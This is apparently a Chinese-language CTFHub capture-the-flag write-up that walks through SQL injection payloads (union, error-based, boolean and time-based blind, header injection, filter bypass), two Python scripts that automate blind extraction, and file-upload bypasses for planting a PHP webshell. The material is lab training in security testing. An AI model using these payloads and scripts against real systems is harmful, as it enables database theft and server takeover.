SQL注入
1、判断注入类型
1 and 1=1 正常输出
1 and 1=2 不输出 (数字型注入)
2、猜解字段数
1 order by 2 页面回显正常
1 order by 3 页面无回显 字段数为2
3、查看显示位
-1 union select 1,2 显示位是Data
4、查看数据库名
-1 union select 1,database()
-1 union select 1,group_concat(schema_name) from information_schema.schemata
5、查看表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
6、查看列名
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'
7、查看数据
-1 union select 1,group_concat(flag) from flag
1、判断注入类型
1 and 1=1 回显正常
1 and 1=2 回显正常 字符型注入
2、尝试闭合
经过尝试发现为单引号闭合(根据显示的SQL语句也可看出闭合方式)
3、猜解字段数
1' order by 2# 回显正常 (最后需要用#注释掉后面的单引号,不然会造成语法错误)
1' order by 3# 没有回显 字段数为2
4、查看显示位
-1' union select 2,3# ID,Data 都是显示位
4、查看数据库
-1' union select 1,database()#
-1' union select 1,group_concat(schema_name) from information_schema.schemata#
5、查看表名
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'#
6、查看列名
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'#
7、查看数据
-1' union select 1,group_concat(flag) from flag#
1、判断注入类型
1' 有报错显示,可以利用报错注入来获取数据库内容
2、查看数据库名
1 and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),3)#
3、查看表名
1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='sqli' limit 0,1),0x7e),3)#
4、查看列名
1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='flag' limit 0,1),0x7e),3)#
5、查看数据
1 and updatexml(1,concat(0x7e,(select concat(flag) from flag limit 0,1),0x7e),3)#
1、判断注入类型
经过测试,发现没有显示位,也没有报错信息,可以利用盲注来获取数据库信息
手工注入时可使用例如left((select database()),1)<'t' 这样的比较二分查找方法快速爆破。
2、猜解数据库名长度
1 and (length(database()))=4 数据库名长度为4
3、猜解数据库名
1 and left((select database()),1)='s'
4、猜解数据库中表的数量
1 and (select count(table_name) from information_schema.tables
where table_schema=database())=2
5、猜解表名
1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=102
1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=108
(不断改变ASCII码范围,逐一猜解表名)
6、猜解表'flag'中的字段数
1 and (select count(column_name) from information_schema.columns
where table_name='flag')=1
7、猜解列名
1 and ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1,1))=102
1 and ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),2,1))=108
(不断改变ASCII码范围,逐一猜解列名)
6、猜解数据
1 and ascii(substr((select * from sqli.flag where id=1),1,1))=99
(不断改变ASCII码范围,逐一猜解数据)
Python脚本
import requests
urlOPEN = 'http://challenge-a2d91315845dd079.sandbox.ctfhub.com:10800/?id='
starOperatorTime = []
mark = 'query_success'
def database_name():
name = ''
for j in range(1, 9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN + 'if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
j, i)
r = requests.get(url)
if mark in r.text:
name = name + i
print(name)
break
print('database_name:', name)
database_name()
def table_name():
list = []
for k in range(0, 4):
name = ''
for j in range(1, 9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN + 'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
k, j, i)
r = requests.get(url)
if mark in r.text:
name = name + i
break
list.append(name)
print('table_name:', list)
table_name()
def column_name():
list = []
for k in range(0, 3): # 判断表里最多有4个字段
name = ''
for j in range(1, 9): # 判断一个 字段名最多有9个字符组成
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN + 'if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
k, j, i)
r = requests.get(url)
if mark in r.text:
name = name + i
break
list.append(name)
print('column_name:', list)
column_name()
def get_data():
name = ''
for j in range(1, 50): # 判断一个值最多有51个字符组成
for i in range(48, 126):
url = urlOPEN + 'if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))' % (
j, i)
r = requests.get(url)
if mark in r.text:
name = name + chr(i)
print(name)
break
print('value:', name)
get_data()
1、判断注入类型
无论输入什么,都没有回显,尝试使用时间盲注来获取数据库信息
2、猜解数据库长度
1 and if(length(database())=4,sleep(5),1)
3、猜解数据库名
1 and if(ascii(substr(database(),1,1))=115,sleep(5),1)
4、猜解数据库中表的数量
1 and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(5),1)
5、猜解表名
1 and if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=110,sleep(5),1)
6、猜解表'flag'中的字段数
1 and if((select count(column_name) from information_schema.columns
where table_name='flag')=1,sleep(5),1)
7、猜解列名
1 and if((select ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1,1)))=102, sleep(5),0)
8、猜解数据
1 and if((select ascii(substr((select flag from flag limit 0,1),1,1)))=99,sleep(5),1)
Python脚本
import requests
import time
#coding:utf-8
urlstart='http://challenge-ba37c57032fb4423.sandbox.ctfhub.com:10800/?id='
def version():
for i in range(1,21):
url=urlstart+'if(length(version())='+str(i)+',sleep(5),1)'
starttime=time.time()
a=requests.get(url)
endtime=time.time()
b=endtime-starttime
print(b)
if b>5:
print(i)
break
#print a.content
for j in range(1,i+1):
for k in range(32,127):
url1=urlstart+'if(ascii(substr(version(),'+str(j)+',1))='+str(k)+',sleep(5),1)'
starttime=time.time()
a=requests.get(url1)
endtime=time.time()
b=endtime-starttime
if b>5:
print(chr(k))
break
def datebase_name():
for m in range(1,21):
url2=urlstart+'if(length(database())='+str(m)+',sleep(5),1)'
starttime=time.time()
a=requests.get(url2)
endtime=time.time()
b=endtime-starttime
if b>5:
print(m)
break
for n in range(1,m+1):
for h in range(32,127):
url3=urlstart+'if(ascii(substr(database(),'+str(n)+',1))='+str(h)+',sleep(5),1)'
starttime=time.time()
a=requests.get(url3)
endtime=time.time()
b=endtime-starttime
if b>5:
print (chr(h))
break
def table_name():
list = []
for k in range(0, 4):
name = ''
for j in range(1, 9):
for i in 'abcdefghijklmnopqrstuvwxyz0123456789@_.{}-':
url = urlstart + 'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",sleep(5),1)' % (
k, j, i)
starttime = time.time()
r = requests.get(url)
endtime = time.time()
b = endtime - starttime
if b>5:
name = name + i
break
list.append(name)
print('table_name:', list)
def column_name():
name = ''
for k in range(0,4):
for j in range(1, 50):
for i in 'abcdefghijklmnopqrstuvwxyz0123456789@_.{}-':
url = urlstart + 'if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d ,1), %d ,1)= "%s" ,sleep(5),1)'% (
k, j, i)
starttime = time.time()
r = requests.get(url)
endtime = time.time()
b = endtime - starttime
if b > 5:
name = name + chr(i)
print(name)
break
print ('value:', name)
def get_data():
name = ''
for j in range(1, 50):
for i in range(48, 126):
url = urlstart + 'if(ascii(substr((select flag from flag),%d,1))=%d,sleep(3),1)' % (
j, i)
starttime = time.time()
r = requests.get(url)
endtime = time.time()
b = endtime - starttime
if b > 3:
name = name + chr(i)
print(name)
break
print ('value:', name)
get_data()
MySQL结构
1、判断输入类型
1 and 1=1 回显正常
1 and 1=2 没有回显 数字型注入
2、猜解字段数
1 order by 2 回显正常
1 order by 3 没有回显 字段数为2
3、查看显示位
-1 union select 2,3 ID,Data都是显示位
4、查看数据库名
-1 union select 1,database()
-1 union select 1,group_concat(schema_name) from information_schema.schemata
5、查看表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
6、查看列名
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='voxltovzyz'
7、查看数据
-1 union select 1,group_concat(ljuaaouxat) from voxltovzyz
Cookie注入
1、Cookie注入,利用burpsuite抓包来修改数据包实现注入
2、判断注入类型
1 and 1=1 回显正常
1 and 1=2 没有回显 数字型注入
3、猜解字段数
1 order by 2 回显正常
1 order by 3 没有回显 字段数为2
4、查看显示位
-1 union select 2,3 ID,Data都是显示位
5、查看数据库名
-1 union select 1,database()
-1 union select 1,group_concat(schema_name) from information_schema.schemata
6、查看表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
7、查看列名
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='irggdskcyg'
8、查看数据
-1 union select 1,group_concat(jmlkyalpjp) from irggdskcyg
UA注入
1、UA注入,即User-Agent,利用burpsuite抓包来修改数据包实现注入
User-Agent:是客户浏览器名称。
2、判断注入类型
1 and 1=1 回显正常
1 and 1=2 没有回显 数字型注入
3、猜解字段数
1 order by 2 回显正常
1 order by 3 没有回显 字段数为2
4、查看显示位
-1 union select 2,3 ID,Data都是显示位
5、查看数据库名
-1 union select 1,database()
-1 union select 1,group_concat(schema_name) from information_schema.schemata
6、查看表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
7、查看列名
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='htvppynvth'
8、查看数据
-1 union select 1,group_concat(pgrhwmjgxx) from htvppynvth
Refer注入
1、Refer注入,利用burpsuite抓包来修改数据包实现注入
Referer:表明产生请求的网页URL。如比从网页/icconcept/index.jsp中点击一个链接到网页/icwork/search,在向服务器发送的GET/icwork/search中的请求中,Referer是http://hostname:8080/icconcept/index.jsp。这个属性可以用来跟踪web请求是从什么网站来的。
抓到数据包之后发现是没有referer的,可以手动加上去
2、判断注入类型
1 and 1=1 回显正常
1 and 1=2 没有回显 数字型注入
3、猜解字段数
1 order by 2 回显正常
1 order by 3 没有回显 字段数为2
4、查看显示位
-1 union select 2,3 ID,Data都是显示位
5、查看数据库名
-1 union select 1,database()
-1 union select 1,group_concat(schema_name) from information_schema.schemata
6、查看表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
7、查看列名
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='jfseluytwo'
8、查看数据
-1 union select 1,group_concat(ijxmjyeqhx) from jfseluytwo
1、输入1 and 1=1后,没有回显数据
2、根据题目,过滤掉了空格,可以尝试用注释符/**/替换空格,实现绕过
3、判断注入类型
1/**/and/**/1=1 回显正常
1/**/and/**/1=2 没有回显 数字型注入
4、猜解字段数
1/**/order/**/by/**/2 回显正常
1/**/order/**/by/**/3 没有回显 字段数为2
5、查看显示位
-1/**/union/**/select/**/2,3 ID,Data都是显示位
6、查看数据库名
-1/**/union/**/select/**/1,database()
-1/**/union/**/select/**/1,group_concat(schema_name)/**/from/**/information_schema.schemata
7、查看表名
-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'
8、查看列名
-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='xcpkwncbuq'
9、查看数据
-1/**/union/**/select/**/1,group_concat(kyachwkiak)/**/from/**/xcpkwncbuq
SQL注入完结
文件上传
1、因为没有验证,直接上传.php文件
2、成功上传
3、使用蚁剑也可成功连接
4、成功获取到flag
1、直接上传.php文件,提示该文件不允许上传
2、因为是前端验证,打开开发者工具,禁用JavaScript即可成功上传
3、使用一键也可成功连接
4、成功获取到flag
1、直接上传.php文件,提示文件类型不匹配
2、查看源码发现过滤了一系列的后缀名
3、尝试使用.htaccess文件绕过,上传一个.htaccess文件,文件内容如下:
SetHandler application/x-httpd-php
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,启用和关闭在httpd.conf文件中配置。
4、上传黑名单中没有限制的图片马即可成功上传
5、利用蚁剑链接即可
6、成功获取到flag
MIME绕过
1、直接上传.php文件,提示文件类型不正确
2、MIME绕过,只验证Content-type,抓包将Content-type修改为允许上传的文件类型即可
3、成功上传!
4、使用蚁剑连接获取flag
00截断绕过
截断条件:php版本小于5.3.4,php的magic_quotes_gpc为Off状态
1、上传文件抓包,修改数据包
2、成功上传
3、使用蚁剑连接获取flag
1、抓包,修改数据包
2、成功上传
3、利用蚁剑连接获取flag
1、上传.php文件,提示:文件类型不正确, 只允许上传 jpeg jpg png gif 类型的文件
2、准备一张允许上传的图片马1.gif
gif图片的文件头为GIF89a
3、上传文件抓包
4、成功上传
5、利用蚁剑连接获取flag
文件上传完结